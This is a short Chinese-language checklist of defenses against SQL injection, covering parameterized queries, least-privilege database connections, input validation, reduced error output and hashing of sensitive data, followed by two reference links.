  1. 禁止目标网站利用动态拼接字符串的方式访问数据库
  2. 减少不必要的数据库抛出的错误信息
  3. 对数据库的操作赋予严格的权限控制
  4. 净化和过滤掉不必要的SQL保留字,比如:where, or, exec 等
  5. 不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等
  6. 不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取
  7. 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接
  8. 不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息

# 参考链接

https://eggjs.org/zh-cn/core/security.html

https://juejin.cn/post/6929281260045434894

上次更新: 2022/04/15, 05:41:29
×